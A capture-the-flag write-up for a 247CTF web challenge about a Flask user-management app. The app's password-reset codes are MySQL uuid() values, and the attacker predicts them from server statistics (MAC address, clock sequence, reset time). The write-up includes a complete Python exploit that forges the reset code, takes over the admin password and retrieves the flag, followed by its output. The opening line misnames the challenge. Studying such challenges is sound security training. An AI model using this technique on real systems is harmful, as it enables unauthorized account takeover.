This is my write-up of a Reversing challenge The Encrypted Flag on the CTF site 247CTF.com.
We started building a custom ORM for user management. Can you find any bugs before we push to production?
The provided code:
import pymysql.cursors
import pymysql, os, bcrypt, debug
from flask import Flask, request
from secret import flag, secret_key, sql_user, sql_password, sql_database, sql_host
class ORM():
def __init__(self):
self.connection = pymysql.connect(host=sql_host, user=sql_user, password=sql_password, db=sql_database, cursorclass=pymysql.cursors.DictCursor)
def update(self, sql, parameters):
with self.connection.cursor() as cursor:
cursor.execute(sql, parameters)
self.connection.commit()
def query(self, sql, parameters):
with self.connection.cursor() as cursor:
cursor.execute(sql, parameters)
result = cursor.fetchone()
return result
def get_by_name(self, user):
return self.query('select * from users where username=%s', user)
def get_by_reset_code(self, reset_code):
return self.query('select * from users where reset_code=%s', reset_code)
def set_password(self, user, password):
password_hash = bcrypt.hashpw(password, bcrypt.gensalt())
self.update('update users set password=%s where username=%s', (password_hash, user))
def set_reset_code(self, user):
self.update('update users set reset_code=uuid() where username=%s', user)
app = Flask(__name__)
app.config['DEBUG'] = False
app.config['SECRET_KEY'] = secret_key
app.config['USER'] = 'admin'
@app.route("/get_flag")
def get_flag():
user_row = app.config['ORM'].get_by_name(app.config['USER'])
if bcrypt.checkpw(request.args.get('password').encode('utf8'), user_row['password'].encode('utf8')):
return flag
return "Invalid password for %s!" % app.config['USER']
@app.route("/reset") # TODO: email reset code
def reset():
app.config['ORM'].set_reset_code(app.config['USER'])
return "Password reset code updated for %s!" % app.config['USER']
@app.route("/update_password")
def update_password():
user_row = app.config['ORM'].get_by_reset_code(request.args.get('reset_code'))
if user_row:
app.config['ORM'].set_password(app.config['USER'], request.args.get('password').encode('utf8'))
return "Password reset for %s!" % app.config['USER']
return "Invalid reset code for %s!" % app.config['USER']
@app.route("/statistics") # TODO: remove statistics
def statistics():
return debug.statistics()
@app.route('/')
def source():
return "
%s
" % open(__file__).read()
@app.before_first_request
def before_first():
app.config['ORM'] = ORM()
app.config['ORM'].set_password(app.config['USER'], os.urandom(32).hex())
@app.errorhandler(Exception)
def error(error):
return "Something went wrong!"
if __name__ == "__main__":
app.run()
get_flag()
function and we need a correct password.uuid()
which is predictable with the statistics the website offers.I have used the Python UUID implementation found here and customized it.
UUID version 1 is generated from timestamp, clock sequence and node information (servers MAC address).
Interface statistics:
eth0 Link encap:Ethernet HWaddr 02:42:AC:11:00:15
inet addr:172.17.0.21 Bcast:172.17.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:43 errors:0 dropped:0 overruns:0 frame:0
TX packets:29 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:5499 (5.3 KiB) TX bytes:3766 (3.6 KiB)
Database statistics:
clock_sequence: 3032
delete_latency: 0
fetch_latency: 152144706
insert_latency: 0
last_reset: 2020-04-21 04:34:59.654666800
rows_deleted: 0
rows_fetched: 16
rows_inserted: 0
rows_updated: 4
total_latency: 405564180
update_latency: 253419474
#!/usr/bin/env python3
import uuid
import requests
import pandas as pd
import numpy as np
# Set URL to challenge
URL="https://9e7db70aa03e3d5a.247ctf.com"
# Arbitrary password
password = "1234"
def str_to_ns(time_str):
h, m, s = time_str.split(":")
int_s, ns = s.split(".")
ns = map(lambda t, unit: np.timedelta64(t, unit),
[h,m,int_s,ns.ljust(9, '0')],['h','m','s','ns'])
return sum(ns)
# return MAC address as int
def parse_mac(mac):
return int(mac.replace(':', ''), 16)
# Modified uuid1() from python uuid library
def uuid1(node, clock_seq, ts):
timestamp = ts // 100 + 0x01b21dd213814000
time_low = timestamp & 0xffffffff
time_mid = (timestamp >> 32) & 0xffff
time_hi_version = (timestamp >> 48) & 0x0fff
clock_seq_low = clock_seq & 0xff
clock_seq_hi_variant = (clock_seq >> 8) & 0x3f
return uuid.UUID(fields=(time_low, time_mid, time_hi_version,
clock_seq_hi_variant, clock_seq_low, node), version=1)
def generate_uuid():
r = requests.get(URL+'/statistics')
out = r.text.split()
mac = out[6]
ldate = out[50]
ltime = out[51]
clock_sequence = out[42]
print ()
print ("MAC : "+mac)
print ("Clock sequence : "+str(clock_sequence))
print ("Last reset : "+ldate,ltime)
# Pandas Timestamp.timestamp() function does not return nanoseconds.
# https://github.com/pandas-dev/pandas/issues/29461
# So we split this part.
nseconds = pd.to_datetime(ldate, format='%Y-%m-%d').timestamp() * 1000 * 1000 * 1000
# Add the missing nanoseconds to have exact result
time_in_ns = str_to_ns(ltime)+int(nseconds)
UUID = uuid1(parse_mac(mac), int(clock_sequence), int(time_in_ns))
print('UUID.time :', UUID.time)
print('UUID.clock_seq :', UUID.clock_seq)
print('UUID.node :', UUID.node)
print("UUID generated is:", UUID)
return str(UUID)
print ("Exploiting Web / Administrative ORM @ 247ctf.com")
r = requests.get(URL+'/reset')
print ()
print ("-> requests.get("+URL+"/reset)")
print (r.text)
guessed_uuid = generate_uuid()
r = requests.get(URL+'/update_password?reset_code='+guessed_uuid+'&password='+password)
print ()
print ("-> requests.get("+URL+"/update_password?reset_code="+guessed_uuid+"&password="+password+")")
print (r.text)
r = requests.get(URL+'/get_flag?password='+password)
print ()
print ("-> requests.get("+URL+"/get_flag?password="+password+")")
print (r.text)
Solving the challenge:
Exploiting Web / Administrative ORM @ 247ctf.com
-> requests.get(https://4f67c125208c7b00.247ctf.com/reset)
Password reset code updated for admin!
MAC : 02:42:AC:11:00:15
Clock sequence : 3032
Last reset : 2020-04-21 04:34:59.654666800
UUID.time : 138067364996546668
UUID.clock_seq : 3032
UUID.node : 2485377892373
UUID generated is: 75b1806c-8389-11ea-8bd8-0242ac110015
-> requests.get(https://4f67c125208c7b00.247ctf.com/update_password?reset_code=75b1806c-8389-11ea-8bd8-0242ac110015&password=1234)
Password reset for admin!
-> requests.get(https://4f67c125208c7b00.247ctf.com/get_flag?password=1234)
247CTF{xxxx}